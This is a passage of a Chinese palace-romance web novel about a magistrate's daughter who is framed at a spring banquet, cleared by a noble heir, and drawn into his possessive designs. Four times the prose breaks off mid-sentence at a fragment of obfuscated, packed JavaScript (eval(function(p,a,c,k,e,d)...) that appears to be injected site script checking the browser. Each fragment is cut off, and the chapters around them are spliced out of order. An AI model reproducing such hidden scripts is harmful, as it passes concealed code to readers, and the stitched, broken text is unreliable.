听到皇贵妃暗有所指的话语,一向与她不对付的贤妃拿起扇子扑哧一声,笑了出来,话里话外满是讥讽:“哎呀姐姐,你这话说的,今日春日宴来的众宾皆是有头有脸的人物,谁会偷了你的东西占为己有呀,怕不是你自个没保管好掉在哪儿了吧。” 以为鱼儿就此上钩,皇贵妃的讳莫如深的眸子闪过一丝不易察觉的狡诈。现在贤妃有多得意,待会儿在她席位找到玉佩的时候,她就会有多下不了场。 于是皇贵妃睥睨着贤妃,冷声呛道: “既然妹妹这么笃定……来人啊,封锁亭台,逐一搜查在场女眷,务必寻回御赐之物!” 同样也是这深宫之中的老狐狸了,贤妃她怎会没有察觉皇贵妃朝自己丢来的暗箭,不过幸亏早有防备。 她那安插在皇贵妃宫中的眼线早已事先告诉她,此次春日宴上,贵妃会借机偷偷让其心腹宫女将玉佩藏于自己座席后的假山缝隙中,以此诬陷自己偷盗的罪名。 思忖再三,不想冒着过早暴露眼线的风险,却又不能平白被皇贵妃将一军,于是贤妃决定随便找一个替罪羔羊,这样犯不着自己冒险,又能让皇贵妃失了面子、计谋失算。 暗中盘算着,遂将目光投向独自赴宴、家族势弱的阮氏女。 若她能证明自己是无辜的,打了皇贵妃的脸是最好的。若是她白白抗推,那也算她的命数,毕竟利用她挡箭可以毫无顾虑,也不会给自己招致什么麻烦。 可怜的阮南枝还不知道发生了什么事情,更不知道,本想低调处事的自己,竟会被无辜卷入这场风波之中。 命令一下,侍卫与宫女按席位搜查,皇贵妃的心腹故意拖延贤妃座席附近的搜查进度。可哪怕再怎么拖延,早已准备妥当的贤妃,自然是没让皇贵妃搜出什么。 盘查至阮南枝之处时,她非常坦荡地起身配合搜查,却不慎被身后宫人“无意”撞了一下。 茶盏倾倒,些许茶水溅到了身上,引发一阵骚动,瞬间吸引众人注意力。 阮南枝忍不住轻呼出声,全然没有注意到有位宫女趁乱将藏于袖中的玉佩丢在了自己的座下。 紧接着,一名宫女相配合,恰好搜出了玉佩,高呼:“找到了!在阮姑娘的席位下!” “怎么可能?”闻声,阮南枝身子一颤,不敢置信地看向宫女手中高举着的玉佩。 确实是一枚上好的羊脂玉配,也确实从她的座位旁拿出来的。 但……阮南枝根本不知道这玉佩是何时出现在自己座位的,她也没有动过想要占有玉佩的心思。 盗占贵妃之物,并非小事,这一顶帽子扣在她头上,阮南枝怕是惹上了一个大麻烦。 她连忙俯下了身子,急欲分说:“皇贵妃娘娘明鉴!这并非臣女所为!” “方才起身时有人撞到了我,定是有人趁乱栽赃……” 可女孩人微言轻,且无家族势力撑腰,辩解声被淹没在指责声中,无人为她发声。 皇贵妃也暗暗吃了一惊,原本安排放置在贤妃那儿的玉佩,怎会跑到太常少卿之女的位子上?这点意外的神情在她面上一闪而过,很快又被掩盖了起来,不过一秒她便意识到,自己的计划失败了。 见局势转向,原定扳倒贤妃的图谋没有成功,阮南枝已成了众矢之的,且处置她无需考虑后果,心里憋着的一股火气终于找到了发泄的口子,语气自然也不怎么爽快,愠怒道: “太常少卿之女竟如此失德,将本宫的御赐之物占为己有!来人,拖下去掌嘴二十,押入大理寺问罪!” 话音落下,阮南枝惊慌抬头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说罢,江砚黎气定神闲地勾了勾唇,那张清俊不似人的脸上虽有笑意,笑意却不达眼底。 是啊。 他不爽极了。 后宫之人怎么斗那是她们的事,千不该万不该,不该将那个女孩扯进她们的斗争之中。就这些上不得台面的低级手段,江砚黎一眼就能看穿,心中不由得轻哧,也就那个单纯天真的傻女孩被算计了还呆呆地站在原地不明所以。 不过……在看到两缕泪液从她的眼角蜿蜒而下时,江砚黎只觉得自己的心像是被堵住了一般。 脑子也随即一宕,再也想不出什么重话。 怎么哭了? 女孩就这样当着他的面,两行清泪无声地划过,没哭出声,只是微微咬着下唇,那副强忍悲伤的模样,比放声大哭更让人感觉心疼。 这下,原本平静的内心,凝上了化不开的冷意。明明在笑,周身却弥漫开不怒自威的压迫感,若是熟悉他的人便能察觉到,那笑容底下,正潜藏着浓重的愠意。 5. 好人 素来以正直严谨闻名,且靖国公在朝中势力雄厚,江砚黎的证词让众人纷纷侧目。 他直截了当地点明了刚才做手脚的宫女,也就是贤妃在背后安插的眼线。致使贤妃脸色苍白了一瞬,那个宫女也略显慌乱失措。 心思阴险的皇贵妃自然也能觉察出其中的不对劲之处,当下已然起疑。 “江世子所言有理……既如此,来人啊,严加彻查那名宫女,还阮姑娘一个清白。” 随着那名宫女很快被押下,皇贵妃的唇角掀了半分,泻出半分冷笑,抬手拢了拢鬓角。 反正她针对贤妃的阴谋已经失败,这种情况之下,也不得不收回成命,下令将涉事宫女拿下审问,同时对阮南枝假意安抚。 “好孩子,是本宫误会你了,知道你受委屈了,你可千万别往心里去。等查清楚是谁嚼舌根,本宫定会替你做主,断不会让你平白担了这污名。” 方才还声色俱厉的皇贵妃,可没想过好好替她彻查此事,如今有世子为她辨明清白,就仿佛换了一幅面孔一般,温声细语地安抚着她。 亲眼目睹了这一变化的阮南枝,此刻才算是深刻意识到了这深宫之人的可怕之处。她内心仍然十分惶恐,但面上强自镇定,娇娇弱弱地应了一声:“臣女,谢娘娘。” 不到一炷香的时间,眼前的局面便经历了千回百转。好在阮南枝摆脱了诬陷,暂时没什么危险了,刚刚忍不住想要出来替她说话的明微总算得以松一口气。 不过,看向那个替阮南枝说话的人,明微的表情顿时变得古怪起来了。 竟然是江砚黎? 这人真有这么好心? 鉴于她本来就对江砚黎偏见满满,明微敛了敛心神,默默叹了一口气。 不管怎么样,幸亏他愿意出面为阮南枝证明清白,才能使其免受一劫。 一场风波就这么无惊无险地化解了。 江砚黎的目光淡淡扫过神色各异的众人,随即停留在了似乎还没缓过神来的小姑娘身上。 可这里人多眼杂,纵使是有什么安慰的话想说出口,也只能闷在心里。 宴会中断突然冒出这一插曲,众人也没了什么玩乐的心思,于是这场春日宴只能匆忙提前结束。 正当江砚黎离开了会场,行至一条小路之时,背后突然传来了一道温软的声音: “世子请留步——” 女孩的声音如同浸了蜜一般,清啭甜软,叫人听了心都化了。 “今日之事,南枝还未来得及向世子道谢。”粉光丽雪的脸儿因小跑的变得通红,有几分娇媚,又楚楚动人,她捂着胸口,有些气喘吁吁地叫住了他,“若没有世子仗义出言,南枝怕是要困在失窃疑云中难辩清白……” 稍稍一低头,便能将那耳后的嫩白颈肉一览无遗,江砚黎默不作声地微微眯起眼睛,看着那扑闪的长长眼睫,原本薄凉的嘴唇溢出了些许笑意,目光也柔和了下来,连自己都没有意识到。 “阮小姐不必言谢,只不过恰好路过目睹了事实真相,不忍看到有人平白受到冤枉,算不上什么。” 面前一身玄衣的男人颀长身形玉立雍雅,朗目深邃浓如墨,就这么直勾勾地看着自己,不知为何,阮南枝忽然觉着自己有些晕乎乎的,像是醉了,哪怕刚才宴上她根本一滴酒水也没碰。 不然为什么,只见他的薄唇一开一合地翕动着,说了什么,竟是一个字也没听进去。 “阮小姐?”没想到她和自己讲着话也能走神,江砚黎不免觉得好笑,他漫不经心地俯首,随着他的动作,那丰神昳丽的脸庞与女孩离得更近了些。 两人所站的此处在一条通幽小径之中,所幸周围没有旁人经过,若是这时候有人远远瞧来,借位看上去……倒还真像在接吻一般。 亲密的距离让阮南枝心头一跳,她从未见过这般俊逸的男子,年轻俊美的容颜如同谪仙下凡,足以摄人心魄。 粉白的小脸不住地飞起红霞,恍若枝桠上的桃花一般,娇怯的样儿惹人喜爱极了。 “抱歉。”回过神来的阮南枝心跳飞快,吐气如兰地望着眼前高贵清隽的男子,长睫微颤,轻掩唇道,“南枝只是在想……” “世子,您真是一个好人呀。” 危急关头,哪怕两人并不相识,江砚黎竟愿意主动站出来,言之凿凿地替她洗清了被人陷害的嫌疑,还她一个清白。 众人说的果然不假,靖国公世子江砚黎,果然是一个好人! 女孩仰着头,一脸真诚地说着。 听到了从她口中吐出的话语,江砚黎的凛凛黑眸中几不可察地闪过一丝不可置信的情绪。 好人? 细细咀嚼了这两个字半晌,男人忽而低低地笑了,一贯散漫慵懒的面上露出了几分别有深意的表情。 “世子之恩,南枝不知要如何报答才为好。若是世子不嫌弃,改日我在敝宅备上几样拿手的江南小菜,请您前来,以此向您致谢如何?” 问这话时,阮南枝低垂下了头目,葱白玉指害羞地搅着帕子。她不知道,在江砚黎这个视角看去,能清晰地看到她温润如玉的脖颈漫漫染上了一层从面容扩散开来的殷红,妩媚不已。 喉结微动,江砚黎明显听到了自己胸膛之下剧烈的搏动,和血液的迅速流淌,这是无法被任何他擅长伪装的温和表象所掩盖的本能。 “好。” 未料本应是百务缠身的男人竟然答应得如此之快,这反倒让阮南枝有些不知所措了。 似是看出了女孩的羞窘,男人在唇角处弯起了一道淡淡的弧度,开口缓和道:“久闻江南菜雅致,若是能借阮小姐的光,一品这一独特风味,便再好不过了。” 原来是这样。约定既成,三日后见,小姑娘的笑靥忍不住绽开。 看着江砚黎渐渐远去的背影,阮南枝感到十分开心,开心之余,心间还有种说不出的悸动。 从初见的第一眼,在她最需要帮助时,世子出现将她带出混乱之中,直至现在得以与他交谈,心脏这股一直在跳动着的劲儿,从未停歇。 但这意味着什么,她还不太明白。 这种晕乎乎的状态一直持续到回了府后,阮礼早已听闻今日宫中传出的消息,知道了春日宴上发生了什么事情,于是着急忙慌地拉着女儿里三圈外三圈地检查一番,生怕她哪儿少了一块肉:“枝枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她怎么样,无所谓,可她独独不想看到所爱之人因为自己遭遇不幸。 为何别人家的孩子,同样在这个年纪,却能做到把各种事打理得妥帖完美。 譬如明微姐姐,总能拿捏好相应的礼数,在各色场合之中游刃有余地应对着随时可能出现的意外,赢得许多人的称赞。 世子也是如此……年纪轻轻,已是朝廷命官,更得皇上青眼相加。本就出身勋贵,远超旁人,偏生又聪慧过人。 今日那些人见了江砚黎,个个脸上都挂着讨好又忌惮的表情,他一出口,寥寥几句点出疑点,皇贵妃竟真的收了怒容,不再怪责于自己。若非他权势足够强硬,在宫中朝中都有足够分量,又怎能凭一句话就扭转局面? 反观她,总是笨笨的。到了现在,还总是让父亲操心。 泪水洇湿了枕头,重重纱幔下,趴在锦衾之中的女孩仍死死地咬着嘴唇,此刻,她的心混乱如麻。 感受着自己与这些天之骄子远如天堑的差距,阮南枝第一次深刻体会到了什么叫做挫败感。 6. 再遇见 年轻稚嫩的小姑娘,情绪来得快,去得也快。一觉醒来,阮南枝已然忘却了自己的烦恼,又恢复了往日的活力。 今儿个嘴馋得要命,想极了城东一家酥酪店,那里的招牌将新鲜樱桃裹上酪面再裹酥皮,做得甜香浓郁。 为了保证口感与品质的上乘,这家店铺每日仅限量贩售三百份,并且一人只能购买一份,谁来了都得遵循这个规矩,无一例外。也正因如此,客人日日爆满,有价无市,极为难抢。 果不其然,哪怕今天阮南枝一大早就已经出了门,可待到来到这家铺子的时候,最后一份好巧不巧地就被前面一个人买走了。 “不是吧?”可怜兮兮的她只能眼巴巴地看着排在自己前面的一个人喜笑颜开地提走第三百份酥酪。 玉琢般的小脸儿愁云密布,樱唇气鼓鼓地撅起,阮南枝坐在马车上,托着下巴吁叹一声。 最近她也太倒霉了吧。 有言道,祸兮福所倚,福兮祸所伏。既是祸福相倚,那怎么她倒霉了好一段时日,也没见遇上什么好事呢? “小姐别难过了,明儿巧杏早点替您买就是。”眼见着自家小姐皱着小脸,像个一碰就碎的脆弱瓷娃娃一般,巧杏不忍心看她这么伤心,温声安慰她罢。 “巧杏你真好……”一座马车里,一下子就被哄开心的阮南枝哼哼唧唧地凑到巧杏身旁,瓮声瓮气的女孩抱着她的胳膊,“不过你知道的,我这人一会好这一会好那的,明日还想不想吃这家酥酪也未可知,到时候再说吧,白麻烦你也不好。” 虽然她近些日子运气不好,可好在身边的人都非常照顾自己,阮南枝可感动了,不仅是巧杏、爹爹、明微姐姐,还有…… 一阵和煦的风拂过,马车窗上,影影绰绰的珠帘纱幔被风吹开,略显忧沉的视线对上了车外那人,瞬间美目圆睁。 她一点也不敢相信,刚才还在想着的男子,此时竟然就出现在了自己的面前? 阮南枝有些怔愣住了,祸福相倚,这……莫不是好事终于要来了? 马车停下,车外的小厮连忙朝内里传着话: “小姐,靖国公世子恰巧路过此处,听闻您在车中,询问是否方便与您见上一面?” 恩人要见自己,阮南枝自然是乐意至极,莹彻白嫩的颊畔挂上的满是欣喜之情,顾不上巧杏为她掀好车帘,细腻的柔荑率先挑开半边帘子,整个人如同一只活泼快乐的小兔子一样跳下了车。 “世子,好巧,您怎么也正好在这?” 少女心中说不清道不明的情愫,在又见到真人的时候,终于找到了一个宣泄的口子,一双漂亮的眸子就这么一瞬不瞬地仰视着英姿挺拔的男人。 而江砚黎,在得见朝思暮想的佳人那一刹那,眸子暗生星子动,可人前依旧是那副清嘉自持的模样。 “我方才恰好也去了那间铺子,看见阮小姐似乎……没有买到酥酪?”他一派温和地笑着说道,这副亲和俊秀的样子不禁让阮南枝放松了些许,小心脏也砰砰地跳动起来。 提起伤心事,女孩的如柳叶弯弯的眉毛不自觉地纠起了起来,她颇为无奈地叹了一口气。 “是的,你说气不气人,正好我的前一个人将那最后一份酥酪买去了!唉,偏偏今日特别想吃这家的酥酪,没办法,有缘无份……” 闻言,江砚黎好整以暇地挑了挑眉,没有多说什么,只是挥挥手,示意自己的小厮将什么东西拿了过来。 直至独属那家酥酪的木盒被端了过来,男人随后吩咐将其递给她旁边的侍女,阮南枝还愣在原地久久没有回过神来。 “阮小姐似乎很容易发呆。”看着呆愣而懵懂可爱的小姑娘,江砚黎发自内心地笑了,薄唇勾勒得妖冶,“本该今天的份儿是卖完了的,可那家酥酪铺的老板与我相识,便做了个人情。” “若是阮小姐想要,就拿去了吧。” 阮南枝猛地回过神来。 不是……世子他到底是人是妖啊,为什么总能轻而易举地做到她所不能及的事? 弯翘的睫羽轻动,乌发雪肤美不胜收,双颊泛着粉红色的女孩带着赧意开口:“这……不太好吧。这酥酪既是世子您特意买来的,南枝不敢凭空受之。” “您于南枝有大恩,此前诸多照拂我尚未报答,如今哪还能再领受您这份酥酪?” “无妨。” 外表看着温润如玉,可若当男人开口行事,他内里的强势便一览无余。 不容女孩拒绝,他身边的小厮已将那盒酥酪递给巧杏,年轻俊秀的眉目此刻格外温柔,江砚黎似是不经意间地提起:“阮小姐不必如此客气,其实,我正有一件事情还想拜托你。” “择日不如撞日,不知阮小姐是否有空移步旁边的茶楼坐坐?” 面对世子的邀约,阮南枝想也没想就同意了,用力地点了点可爱的脑袋。 可不同于阮南枝的不假思索,巧杏显得极为犹疑。 虽然她已经听说春日宴上是世子替小姐解的围,知道面前的这个男人就是她们小姐的恩人。加之这儿民风开放包容,对于男女之间的相处并没有太多约束。 但是……毕竟靖国公世子是外男,而她们小姐还是未出阁的黄花闺女,现下要一起去茶楼单间? 要是被有心之人看了去了,少不了被编排两人私下有什么呢。 刚想出声劝阻,手腕便被神采奕奕的女孩紧紧攥住,兴致高涨的阮南枝就这样带着她,跟着江砚黎前往不远处景致颇佳的一间奢雅茶楼。 茶香四溢,在整个房间氤氲开来。 其中酥酪的香味也四散开来,本就饿了许久的阮南枝再也等不及,顾不上矜持忙打开了木盒,白皙透亮的小手轻轻捻起一块酥酪,随即送入嘴里。 太好吃了! 得偿所愿的女孩心满意足地眯起了一汪水眸,娇粉花颜的面容上满是餍足。 一下子接连吃了好几块,她才想起来,这个房间里还有一位高贵清朗的男子。现下自己这般毫不节制的吃相,会不会引起他的不满……? 美目略显忐忑不安地悄悄朝对座的江砚黎看去,只见修长瘦削的手指将茶盏递到唇边,刚触到盏沿未饮,顿了顿,视线从茶雾中透过来,掠过她的眉眼。 目光与她撞上时,似乎漫不经心地笑了一下,性感的喉间轻滚,咽下一口茶,这幅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那你也不必称呼我为世子了,我年长于你,叫我砚黎哥哥便好。” 男人煞有介事地补充道,心思单纯的女孩全然没有察觉这人裹挟的私心。 “砚黎哥哥……?” 玉容呈现怯怯的粉色,受到鼓舞一般,贝齿轻咬着朱唇,阮南枝缓缓吐出了这几个字。心中却觉得有点怪异,但又说不出究竟是哪里不对劲,她似乎……从未这般唤过哪个男子。 闻声,江砚黎的呼吸微不可察地一滞,幽幽的瞳孔漫上了几分不可测的危险气息。 真是奇怪。 只是听见她这般娇娇媚媚地唤他的名字,他就能莫名的亢奋,周身的血液也随之沸腾。 想将她抱入怀中,溶入自己的骨肉里。 这样的冲动,随着接触的时间越多,变得愈发的清晰。 但看见那只圆睁的眸儿湿漉漉倒映的全是自己,写满了单纯与无辜,即便再难以自持,江砚黎还是一顿,敛眸掩盖住了那些糟糕的念头。 不急,慢慢来。 不要吓到她。 7. 筹谋 一壶茶终会见空,一盒酥酪也已被吃得干干净净。 江砚黎礼貌地将女孩送上马车,临别之际,依旧那股优雅端方的模样对着她告别:“南枝,两日后见。” 先前她可是对世子说过的,要备些江南小菜以谢他的恩情,时间正是两日之后。 于是即将要分别的这点儿不舍也被冲刷得干干净净,但对于为什么会不舍,阮南枝没有细究。她仰着一张娇嫩嫩的脸儿拉开车窗帘子与他挥手,纤长的雪颈拉出优美的弧线,眉眼靡丽动人。 “砚黎哥哥,两日后见。” 随着马车远去,阮南枝垂下眼眸,微微叹了一口气。巧杏注意到她眼中一闪而过的复杂情绪,不由得愣了一下:“小姐……” “嗯?” 她抬起头来,难掩那份不胜娇羞,霞色的双颊更添几分柔媚,巧杏这下更加觉得自己的猜测是正确的了,有些迟疑道:“传闻靖国公世子卓尔不群,对待女子素来温厚关照,今日一见,他果然如传闻一般,对小姐您也是这样彬彬有礼。” 闻言,纳闷的心绪顿时涌上心头,阮南枝蹙起好看的黛眉,眼底盛着一抹无法言明的怅惘,丹唇轻启喃喃道: “他向来……对旁的女子都这样么?” “奴婢也是听说。”自觉失言,熟知自家小姐的巧杏第一时间就觉察到了她的情绪变化,为自己贸然开口感到愧疚,但她作为她的贴身侍女,不得不时时刻刻站在阮南枝的立场,替她提防着点。 “先前奴婢去府外采买的时候,有时也能听到别家家仆这么说,大家都知道世子待人接物谦和有礼,对女子尤为体恤温柔,也正因如此,许多京中贵女都对他倾慕有加。” 巧杏的话语,说得清晰明了。原来,江砚黎对谁都这样好。阮南枝不禁觉得胸闷,一句话也说不出来。 不过过了一会儿……她才愣愣地想,为什么自己要因此感到不舒服呢? 原就是世子心地良善,替她辩白澄清。世子这样好的人,换作旁人遭此不白之冤,想来他也是会仗义相助的。他对自己与对别的女子没什么区别,这也是正常的呀。 阮南枝有些摸不着头脑,刚才心里为何会酸酸涨涨的。 自己究竟是怎么了? “嗯。”心绪烦乱的女孩闷闷地应了一声后,不再言语。 而此时,另一边的江砚黎也已经回府,在阮南枝离开以后,他始终是一副淡淡的模样,仿佛这样的他,才是最真实的他。 “主子,景安苑那儿的宅子已经打点好了。” 侍从乌恪朝着座上气定神闲的男人作了一揖。 作为靖国公世子,又是朝廷正五品督察御史,虽年轻却身家富足,名下有多处房产。然自成年之后,一直以来,江砚黎便居于御赐的临渊府,所以其他宅子基本上没有什么用得上的地方。 可前几日,世子突然吩咐他,收拾好京中南郊的一套宅子。世子所言的收拾好,是指不仅要换置全新的名贵奢品家具,还需另择些手脚麻利、守口如瓶的得力仆从,保证能在月底之前得以住进人。 尤其是其中主屋……金壁瑞兽,朱栏轻纱,地毯也须择稀罕之物,得是海外使臣进献,除皇家外唯独世子爷专有的缠枝莲纹贡毯。一张宽大床榻覆好云锦软缎,鲛绡帐幔层层叠叠,处处透着奢华。 侍奉在世子身边许久的乌恪知道,哪怕是临渊府才是世子常居之地,也不曾这般靡丽精致。更何况,这等装潢,于男子而言未免太过柔婉,女子却多半会偏爱。 倒像是,专为藏娇而设。 从小就跟在江砚黎身边,乌恪早就被培养成一个善于察言观色之人,所以他们世子想藏的是哪个娇,今日在得见世子对阮小姐多加关照后,心中渐渐明晰了答案。 不过奇怪的是,世子还特意吩咐工匠赶制了一面全身镜放置于寝房内。显然是花费巨大心思的,那镜面被磨制得光亮,照见全身,映人毫发毕现。 若是用以女子穿衣照镜之用,未免过于大材小用。毕竟制镜之术尚未成熟,要制成这一面清透大镜,得采用西域精炼铜材,经百炼提纯,再由巧匠反复研磨,细细抛光,方能达成这般澄澈如水。 总不能,是为了什么他不知道的床笫之乐吧? 如今世子年方十八,素来洁身自好,身边无半分姬妾,更无通房伺候,守身如玉,从未沾染过俗尘风月。 思及此,乌恪想也不敢多想地把这一可能排除了。 世子之心,高深莫测,实属他们常人不能随意推测的。他默默地在心中摇了摇头,面上可不敢把自己的疑惑宣之于口。 “嗯。”听到了乌恪的回禀,江砚黎神色未变地点了点头,“你且遣人询问明微,平常女子房中还喜欢安置什么,就说为了给你妹妹置办宅子所用,不要说漏了嘴。” “若是还需要什么,尽管添办就是。” 淡然吩咐完毕的他,停下了手中的笔,将书信放进一封信函里,随后严密地做好了密封。 “这份密函转交给太子。” “是。”乌恪跪地应下。 朝堂上的渔网已经铺排好,即将布下。江砚黎作为知晓皇上安排的心腹耳目,自然知道阮家很快受到波连。 想起那双潋滟柔和、总是盛着笑意的眸子,若是突然遭遇这一变故,恐怕又要盈满泪水了吧…… 江砚黎闭上了眼睛,喉结不自觉滚动了下。 他能提前筹谋打点的,皆已为她妥善备妥。临渊府时时刻刻被多方势力暗中关注着,不便直接将她接过来住。 况且,几经相处之后江砚黎发现,阮南枝自尊心强,若是住进临渊府传出了什么对她名声不太好的风声,怕是要郁郁寡欢好一阵子。 因此,景方苑那处宅子,便是替她收拾出来的住处。 阮父那边,虽难逃牢狱之厄,但有他暗中照拂,狱中起居食宿,自能与阮府中并无二致。后续定罪流放岭南,岭南的宅院也已一应安置,料理妥当。 他可以保证,阮礼的身心健康不会受到任何影响,皇上也已应允,待到将来案件收网后,必定会给阮家多加优抚补偿。 只是……无论如何都要与父亲分别一段时间,但愿那个娇气的小姑娘不会太难过。 江砚黎缓缓睁开了眼睛,冷清的眸底微暗。 但若说光明磊落,全然无私,倒也不尽然……此事终究掺了他的私心。 将她接入自己的宅子,外室也好什么也罢,无论以什么名义,他都要将她留在身边,成为他的所有。 想要彻底地占有她。 因此,在阮南枝顺利住进景安苑并怎么也割不断与自己的关系之前,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她待人真诚,情绪全写在了脸上,见此情形,明微也忍不住笑了,随后拉过阮南枝的手,轻轻抚了抚那双细腻白皙的柔荑:“昨日春日宴,没想到会发生那样的事情,无端将你牵扯了进去。我正欲出言替你辩解,所幸有人目睹了事情经过,还你清白。” “放心不下你,便想着今日来瞧瞧。” “谢谢明微姐姐,我已经没事了。”小脑袋摇得像拨浪鼓一般,阮南枝听到明微也是这么关心自己,心里甜滋滋的。 “唉,说起来,宫中的水可深了……” 明微叹了口气,怏怏开口:“昨日之事,不知是谁禀报给了皇上,皇上一怒之下彻查了个底朝天,发现原是皇贵妃与贤妃不对付,率先图谋借这次春日宴陷害贤妃,而贤妃因为有眼线通报的缘故,提前做好了应对之策,她不想过早暴露眼线,祸水东引,因此那玉佩最终被扔到了你的座位旁。” “现如今,一个被禁足三个月,一个被降了一个品级,也算是她们咎由自取。真不知道是哪个好人敢向皇上上报此事的,也不怕皇贵妃与贤妃查到了报复他?” “不过苍天有眼,既不顾你的安危将你牵连进去,也算活该。” 听明微嘀咕着,阮南枝心里暖得不成样子,她知道明微姐姐一向行事妥帖、八面玲珑,在背后议论宫嫔这等不符合礼制的行为,不应由她做出来的。 可她因为实在替她抱不平,还是这么说出口了。 此时的明微确实没有顾虑这么多,她在天真单纯的阮南枝面前不用端着架子,也不用时时刻刻顶着一张虚伪的笑脸相迎,更不用担心会被背刺。 这也是为什么她愿意亲近阮南枝的原因。 8. 心悦之人 皇贵妃与贤妃的勾心斗角在脑海中翻涌着,那些温婉面具下的冷意、笑语声中的算计,令明微一阵难受,她不自觉捂住了自己的胸口。 剪水美眸有一瞬间的空洞,她忍不住在想……有朝一日,自己入了宫,会不会也会变成这副厌恶的模样? 阮南枝没有错过明微那一刹那的悸然,她从未想过完美无瑕的明微姐姐会露出这样惆怅的表情,连忙拉住她柔软的手儿,关切地询问道:“明微姐姐,你怎么了?” 沉默了一会儿,如柳似烟的眉毛始终无法舒展开来,明微低下了头,淡淡地问了一句让阮南枝摸不着头脑的话语: “枝枝,你可有心悦之人?” 听到她这般问话,阮南枝当即愣住了,心里头第一个冒出的人竟然是…… 江砚黎。 少年俊美如冠玉的面庞浮现在她的脑海之中,他是那么耀眼不凡,那么温柔,似乎喜欢上他,也无可厚非。 意识到自己在想什么,阮南枝吓了一大跳,世子可是自己的恩人,对恩人产生别样的心思,就相当于在亵渎他。 怵惕地收回这般念头后,女孩摇摇头温声软言说:“没有呢。” 一般这么问的人,应该是自己有了心仪之人,于是阮南枝歪了歪脑袋,带着满满好奇,更进一步探究。 “明微姐姐可是在为了心悦之人而感到烦恼?” 明微姐姐蕙质兰心,如此优秀,那么想必能被她喜欢的男子也是一个出类拔萃之人。 “是,也不是。” 眉目间一股忧愁无论如何都凝在那儿,明微点了点头,却又摇了摇头。 “他本人自然没有什么问题,我们两个自幼青梅竹马,一同长大,早已情系对方,只是……”此间种种,涉及她与太子两人的关系还有身份,一时之间难以与阮南枝言明其所有顾虑,“只是他是太子,日后总归要继承大统。我若嫁给他,便成了这后宫中人,将来他难免会有三宫六院,我也不过是其中之一罢了。” “他如今待我虽有青梅竹马的情分,可这份情意在往后的江山社稷、后宫三千佳丽面前,又能经得起多少磋磨?这般想着,心中便愈发惶惑,我不知道,他是否能独独对我始终如一……” “又或是终究也会如历朝帝王那般,左拥右抱,让我沦为这深宫之中,无数怨女中的一个。” 字字句句,皆是明微最真心最深切的感受。阮南枝听得似懂非懂,不知想到了什么,神情也变得沮丧起来。 明微抬眼,只见面前的女孩朱唇微张,显然一副陷入了沉思的样子。 她不知道,阮南枝的思绪又不由得飘向了那个男人…… 江砚黎这般出身贵胄、自幼便享尽万千荣宠的男子,坐拥着旁人难以企及的权势与尊荣。他们的世界里,似乎本就没有独守一人的规则,三妻四妾于他们而言,不过是身份的标配,最寻常不过的世俗常态。 怪不得巧杏说,旁人都道他对每个女子都很好,对她的这份“好”,无关偏爱,只是礼貌。 像他这般的男人,会三妻四妾也不奇怪,毕竟这么多女子都爱慕他。哪怕遇着了什么争风吃醋的戏码,也总能四两拨千斤地安抚好每个人吧…… 阮南枝胡乱想着,全然没有意识到,不知何时,自己的思绪已然全被这个男人而牵动。 眼见对面之人因自己话而变得面色凝重,往日的甜甜笑意也不再挂在脸上,明微不由得反思起自己,将这些话对阮南枝说,话题是不是过于沉重了? 阮南枝年纪尚小,心思简单,突然说这些,倒显得自己敏感又杞人忧天,还平白无故惹得她也变得伤心惆怅。 于是明微敛了神色,温婉一笑。 “今日不过是提及了皇贵妃与贤妃,突发奇想这么一遭罢了,想来是我杞人忧天了。没事的枝枝,船到桥头自然直,如今没必要过早焦虑这么多。” 她说完,阮南枝便也回过神来,乖觉地抱了抱她的手臂,以此作为安慰:“明微姐姐,枝枝来到京城的时间并不久,还未曾见过太子殿下,因此不甚清楚太子殿下与你究竟是怎么样的。” “但枝枝觉得,既已情意相通,明微姐姐应该更遵从自己的内心才是。” “未来之事,谁又说得清楚呢?” 或许明微心里也早已有了答案,阮南枝的话语,让她更确定了自己的选择,她有些释怀地点了点头,低眉淡笑,眸光澄澈如溪。 “枝枝说得是,多谢枝枝了。” 云里雾里的阮南枝还不知道自己干了什么,她只是说出了心里话,根本没有帮到明微姐姐什么,只当明微是哄自己。 “嗯……枝枝,若让你来布置房间,你会想添些什么?”想起一事的明微,忽然转了话题,无意之中对阮南枝提起此事,“府里有个侍从,这些年攒了些银钱,买了处小院想让妹妹安心住着。他不懂女儿家的心思,便来问我,我们这般年纪的姑娘,一般都喜欢什么样的布置?” 阮南枝愣了愣,不假思索地回答道:“女儿家的房间,该温馨些才好。窗边摆个雕花小榻,铺层软绒垫子,闲来能晒太阳、看书,桌案上放个茶盏,再摆个小巧的妆奁,装些碎玉小饰和胭脂水粉……” “不过对于我来说,最要紧的是,床头须得挂个香包,装些晒干的薰衣草,这样能睡得安稳些。” 对于阮南枝的话语,明微表示赞同地点了点头:“我也是这么想的,那我便这样告诉那个侍从好了。” 随后,她轻轻拢了鬓边的碎发,又是一声叹息。 “对了,过两日我便要回蓟县一趟,这一去就是一个月余,恐怕这段时间都不能与你见面了。” 